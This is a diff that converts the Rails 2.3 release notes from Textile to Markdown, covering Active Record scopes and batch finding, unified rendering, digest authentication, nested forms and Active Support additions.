-* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
+* Lead Contributors: [Jonathan Viney](http://www.workingwithrails.com/person/4985-jonathan-viney) and [Hongli Lai](http://izumi.plan99.net/blog/)
-h4. Dynamic Scopes
+### Dynamic Scopes
-You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
+You know about dynamic finders in Rails (which allow you to concoct methods like `find_by_color_and_flavor` on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like `currently_active`). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
-<ruby>
+```ruby
Order.scoped_by_customer_id(12)
Order.scoped_by_customer_id(12).find(:all,
:conditions => "status = 'open'")
Order.scoped_by_customer_id(12).scoped_by_status("open")
-</ruby>
+```
There's nothing to define to use dynamic scopes: they just work.
-* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
-* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
+* Lead Contributor: [Yaroslav Markin](http://evilmartians.com/)
+* More Information: [What's New in Edge Rails: Dynamic Scope Methods](http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.)
-h4. Default Scopes
+### Default Scopes
-Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
+Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write `default_scope :order => 'name ASC'` and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
* Lead Contributor: Paweł Kondzior
-* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
+* More Information: [What's New in Edge Rails: Default Scoping](http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping)
-h4. Batch Processing
+### Batch Processing
-You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
+You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`:
-<ruby>
+```ruby
Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
customer_group.each { |customer| customer.update_account_balance! }
end
-</ruby>
+```
-You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
+You can pass most of the `find` options into `find_in_batches`. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the `:limit` option. Instead, use the `:batch_size` option, which defaults to 1000, to set the number of records that will be returned in each batch.
-The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
+The new `find_each` method provides a wrapper around `find_in_batches` that returns individual records, with the find itself being done in batches (of 1000 by default):
-<ruby>
+```ruby
Customer.find_each do |customer|
customer.update_account_balance!
end
-</ruby>
+```
Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
-* More Information (at that point the convenience method was called just +each+):
-** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
-** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
+* More Information (at that point the convenience method was called just `each`):
+ * [Rails 2.3: Batch Finding](http://afreshcup.com/2009/02/23/rails-23-batch-finding/)
+ * [What's New in Edge Rails: Batched Find](http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find)
-h4. Multiple Conditions for Callbacks
+### Multiple Conditions for Callbacks
-When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
+When using Active Record callbacks, you can now combine `:if` and `:unless` options on the same callback, and supply multiple conditions as an array:
-<ruby>
+```ruby
before_save :update_credit_rating, :if => :active,
:unless => [:admin, :cash_only]
-</ruby>
+```
* Lead Contributor: L. Caviola
-h4. Find with having
+### Find with having
-Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
+Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
-<ruby>
+```ruby
developers = Developer.find(:all, :group => "salary",
:having => "sum(salary) > 10000", :select => "salary")
-</ruby>
+```
-* Lead Contributor: "Emilio Tagua":http://github.com/miloops
+* Lead Contributor: [Emilio Tagua](http://github.com/miloops)
-h4. Reconnecting MySQL Connections
+### Reconnecting MySQL Connections
-MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
+MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set `reconnect = true` for your MySQL connections in `database.yml` to get this behavior from a Rails application. The default is `false`, so the behavior of existing applications doesn't change.
-* Lead Contributor: "Dov Murik":http://twitter.com/dubek
+* Lead Contributor: [Dov Murik](http://twitter.com/dubek)
* More information:
-** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
-** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
-
-h4. Other Active Record Changes
-
-* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
-* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
-* A bug in quoting table names in some +has_many :through+ associations was fixed.
-* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
-* Better error messages on failed +find_by_attribute!+ calls.
-* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
-* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
+ * [Controlling Automatic Reconnection Behavior](http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html)
+ * [MySQL auto-reconnect revisited](http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4)
+
+### Other Active Record Changes
+
+* An extra `AS` was removed from the generated SQL for `has_and_belongs_to_many` preloading, making it work better for some databases.
+* `ActiveRecord::Base#new_record?` now returns `false` rather than `nil` when confronted with an existing record.
+* A bug in quoting table names in some `has_many :through` associations was fixed.
+* You can now specify a particular timestamp for `updated_at` timestamps: `cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)`
+* Better error messages on failed `find_by_attribute!` calls.
+* Active Record's `to_xml` support gets just a little bit more flexible with the addition of a `:camelize` option.
+* A bug in canceling callbacks from `before_update` or `before_create` was fixed.
* Rake tasks for testing databases via JDBC have been added.
-* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
-* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
-* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
+* `validates_length_of` will use a custom error message with the `:in` or `:within` options (if one is supplied).
+* Counts on scoped selects now work properly, so you can do things like `Account.scoped(:select => "DISTINCT credit_limit").count`.
+* `ActiveRecord::Base#invalid?` now works as the opposite of `ActiveRecord::Base#valid?`.
-h3. Action Controller
+Action Controller
+-----------------
Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
-h4. Unified Rendering
+### Unified Rendering
-+ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
+`ActionController::Base#render` is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
-<ruby>
+```ruby
render :file => '/tmp/random_file.erb'
render :template => 'other_controller/action'
render :action => 'show'
-</ruby>
+```
Now in Rails 2.3, you can just supply what you want to render:
-<ruby>
+```ruby
render '/tmp/random_file.erb'
render 'other_controller/action'
render 'show'
render :show
-</ruby>
-Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
+```
+Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (`:inline`, `:text`, `:update`, `:nothing`, `:json`, `:xml`, `:js`) still require an explicit option.
-h4. Application Controller Renamed
+### Application Controller Renamed
-If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
+If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
* More Information:
-** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
-** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
+ * [The Death of Application.rb](http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/)
+ * [What's New in Edge Rails: Application.rb Duality is no More](http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more)
-h4. HTTP Digest Authentication Support
+### HTTP Digest Authentication Support
-Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
+Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
-<ruby>
+```ruby
class PostsController < ApplicationController
Users = {"dhh" => "secret"}
before_filter :authenticate
@@ -250,91 +256,92 @@ class PostsController < ApplicationController
end
end
end
-</ruby>
+```
-* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
-* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
+* Lead Contributor: [Gregg Kellogg](http://www.kellogg-assoc.com/)
+* More Information: [What's New in Edge Rails: HTTP Digest Authentication](http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication)
-h4. More Efficient Routing
+### More Efficient Routing
-There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
+There are a couple of significant routing changes in Rails 2.3. The `formatted_` route helpers are gone, in favor just passing in `:format` as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the `formatted_` helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just `routes.rb`. You can use `RouteSet#add_configuration_file` to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
-* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
+* Lead Contributors: [Aaron Batalion](http://blog.hungrymachine.com/)
-h4. Rack-based Lazy-loaded Sessions
+### Rack-based Lazy-loaded Sessions
A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
-h4. MIME Type Handling Changes
+### MIME Type Handling Changes
-There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
+There are a couple of changes to the code for handling MIME types in Rails. First, `MIME::Type` now implements the `=~` operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
-<ruby>
+```ruby
if content_type && Mime::JS =~ content_type
# do something cool
end
Mime::JS =~ "text/javascript" => true
Mime::JS =~ "application/javascript" => true
-</ruby>
+```
-The other change is that the framework now uses the +Mime::JS+ when checking for JavaScript in various spots, making it handle those alternatives cleanly.
+The other change is that the framework now uses the `Mime::JS` when checking for JavaScript in various spots, making it handle those alternatives cleanly.
-* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
+* Lead Contributor: [Seth Fitzsimmons](http://www.workingwithrails.com/person/5510-seth-fitzsimmons)
-h4. Optimization of +respond_to+
+### Optimization of `respond_to`
-In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
+In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the `respond_to` method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to `method_missing` and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple `respond_to` that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
-h4. Improved Caching Performance
+### Improved Caching Performance
-Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
+Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to `MemCacheStore`, it is available to any remote store than implements the required methods.
-* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
+* Lead Contributor: [Nahum Wild](http://www.motionstandingstill.com/)
-h4. Localized Views
+### Localized Views
-Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
+Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a `Posts` controller with a `show` action. By default, this will render `app/views/posts/show.html.erb`. But if you set `I18n.locale = :da`, it will render `app/views/posts/show.da.html.erb`. If the localized template isn't present, the undecorated version will be used. Rails also includes `I18n#available_locales` and `I18n::SimpleBackend#available_locales`, which return an array of the translations that are available in the current Rails project.
-In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
+In addition, you can use the same scheme to localize the rescue files in the `public` directory: `public/500.da.html` or `public/404.en.html` work, for example.
-h4. Partial Scoping for Translations
+### Partial Scoping for Translations
-A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
+A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call `translate(".foo")` from the `people/index.html.erb` template, you'll actually be calling `I18n.translate("people.index.foo")` If you don't prepend the key with a period, then the API doesn't scope, just as before.
-h4. Other Action Controller Changes
+### Other Action Controller Changes
-* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
-* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
-* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
+* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with `send_file`.
+* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set `ActionController::Base.ip_spoofing_check = false` to disable the check entirely.
+* `ActionController::Dispatcher` now implements its own middleware stack, which you can see by running `rake middleware`.
* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
-* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
-* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
+* You can now use symbols for the `:type` option of `send_file` and `send_data`, like this: `send_file("fabulous.png", :type => :png)`.
+* The `:only` and `:except` options for `map.resources` are no longer inherited by nested resources.
* The bundled memcached client has been updated to version 1.6.4.99.
-* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
-* The +:requirements+ option now works properly with additional RESTful member routes.
+* The `expires_in`, `stale?`, and `fresh_when` methods now accept a `:public` option to make them work well with proxy caching.
+* The `:requirements` option now works properly with additional RESTful member routes.
* Shallow routes now properly respect namespaces.
-* +polymorphic_url+ does a better job of handling objects with irregular plural names.
+* `polymorphic_url` does a better job of handling objects with irregular plural names.
-h3. Action View
+Action View
+-----------
-Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
+Action View in Rails 2.3 picks up nested model forms, improvements to `render`, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
-h4. Nested Object Forms
+### Nested Object Forms
-Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
+Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using `form_for` and `field_for`. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders
accepts_nested_attributes_for :orders, :allow_destroy => true
end
-</ruby>
+```
You can write this view in Rails 2.3:
-<erb>
+```html+erb
<% form_for @customer do |customer_form| %>
<div>
<%= customer_form.label :name, 'Customer Name:' %>
@@ -363,19 +370,19 @@ You can write this view in Rails 2.3:
<%= customer_form.submit %>
<% end %>
-</erb>
+```
-* Lead Contributor: "Eloy Duran":http://superalloy.nl/
+* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
* More Information:
-** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-** "complex-form-examples":http://github.com/alloy/complex-form-examples
-** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
+ * [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+ * [complex-form-examples](http://github.com/alloy/complex-form-examples)
+ * [What's New in Edge Rails: Nested Object Forms](http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes)
-h4. Smart Rendering of Partials
+### Smart Rendering of Partials
The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
-<ruby>
+```ruby
# Equivalent of render :partial => 'articles/_article',
# :object => @article
render @article
@@ -383,15 +390,15 @@ render @article
# Equivalent of render :partial => 'articles/_article',
# :collection => @articles
render @articles
-</ruby>
+```
-* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
+* More Information: [What's New in Edge Rails: render Stops Being High-Maintenance](http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance)
-h4. Prompts for Date Select Helpers
+### Prompts for Date Select Helpers
-In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
+In Rails 2.3, you can supply custom prompts for the various date select helpers (`date_select`, `time_select`, and `datetime_select`), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set `:prompt` to `true` to use the custom generic prompt:
-<ruby>
+```ruby
select_datetime(DateTime.now, :prompt => true)
select_datetime(DateTime.now, :prompt => "Choose date and time")
@@ -400,211 +407,215 @@ select_datetime(DateTime.now, :prompt =>
{:day => 'Choose day', :month => 'Choose month',
:year => 'Choose year', :hour => 'Choose hour',
:minute => 'Choose minute'})
-</ruby>
+```
-* Lead Contributor: "Sam Oliver":http://samoliver.com/
+* Lead Contributor: [Sam Oliver](http://samoliver.com/)
-h4. AssetTag Timestamp Caching
+### AssetTag Timestamp Caching
-You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
+You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the `cache_asset_timestamps` configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
-h4. Asset Hosts as Objects
+### Asset Hosts as Objects
Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to implement any complex logic you need in your asset hosting.
-* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
+* More Information: [asset-hosting-with-minimum-ssl](http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master)
-h4. grouped_options_for_select Helper Method
+### grouped_options_for_select Helper Method
-Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
+Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: `grouped_options_for_select`. This one accepts an array or hash of strings, and converts them into a string of `option` tags wrapped with `optgroup` tags. For example:
-<ruby>
+```ruby
grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
"Cowboy Hat", "Choose a product...")
-</ruby>
+```
returns
-<ruby>
+```ruby
<option value="">Choose a product...</option>
<optgroup label="Hats">
<option value="Baseball Cap">Baseball Cap</option>
<option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
</optgroup>
-</ruby>
+```
-h4. Disabled Option Tags for Form Select Helpers
+### Disabled Option Tags for Form Select Helpers
-The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
+The form select helpers (such as `select` and `options_for_select`) now support a `:disabled` option, which can take a single value or an array of values to be disabled in the resulting tags:
-<ruby>
-select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
-</ruby>
+```ruby
+select(:post, :category, Post::CATEGORIES, :disabled => 'private')
+```
returns
-<ruby>
+```html
<select name=“post[category]“>
<option>story</option>
<option>joke</option>
<option>poem</option>
<option disabled=“disabled“>private</option>
</select>
-</ruby>
+```
You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
-<ruby>
+```ruby
options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
-</ruby>
+```
-* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
-* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
+* Lead Contributor: [Tekin Suleyman](http://tekin.co.uk/)
+* More Information: [New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections](http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/)
-h4. A Note About Template Loading
+### A Note About Template Loading
Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
-In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
+In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your `production.rb` file:
-<ruby>
+```ruby
config.action_view.cache_template_loading = true
-</ruby>
+```
This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
-h4. Other Action View Changes
+### Other Action View Changes
-* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
-* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
-* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
-* +current_page?+ now works properly even when there are multiple query parameters in the URL.
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by `ActiveSupport::SecureRandom` rather than mucking around with session IDs.
+* `auto_link` now properly applies options (such as `:target` and `:class`) to generated e-mail links.
+* The `autolink` helper has been refactored to make it a bit less messy and more intuitive.
+* `current_page?` now works properly even when there are multiple query parameters in the URL.
-h3. Active Support
+Active Support
+--------------
-Active Support has a few interesting changes, including the introduction of +Object#try+.
+Active Support has a few interesting changes, including the introduction of `Object#try`.
-h4. Object#try
+### Object#try
-A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like `<%= @person.try(:name) %>`. Well, now it's baked right into Rails. As implemented in Rails, it raises `NoMethodError` on private methods and always returns `nil` if the object is nil.
-* More Information: "try()":http://ozmm.org/posts/try.html.
+* More Information: [try()](http://ozmm.org/posts/try.html.)
-h4. Object#tap Backport
+### Object#tap Backport
-+Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+`Object#tap` is an addition to [Ruby 1.9](http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309) and 1.8.7 that is similar to the `returning` method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
-h4. Swappable Parsers for XMLmini
+### Swappable Parsers for XMLmini
The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
-<ruby>
+```ruby
XmlMini.backend = 'LibXML'
-</ruby>
+```
-* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/
-* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
+* Lead Contributor: [Bart ten Brinke](http://www.movesonrails.com/)
+* Lead Contributor: [Aaron Patterson](http://tenderlovemaking.com/)
-h4. Fractional seconds for TimeWithZone
+### Fractional seconds for TimeWithZone
-The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
+The `Time` and `TimeWithZone` classes include an `xmlschema` method to return the time in an XML-friendly string. As of Rails 2.3, `TimeWithZone` supports the same argument for specifying the number of digits in the fractional second part of the returned string that `Time` does:
-<ruby>
+```ruby
>> Time.zone.now.xmlschema(6)
=> "2009-01-16T13:00:06.13653Z"
-</ruby>
+```
-* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
+* Lead Contributor: [Nicholas Dainty](http://www.workingwithrails.com/person/13536-nicholas-dainty)
-h4. JSON Key Quoting
+### JSON Key Quoting
If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
-h4. Other Active Support Changes
+### Other Active Support Changes
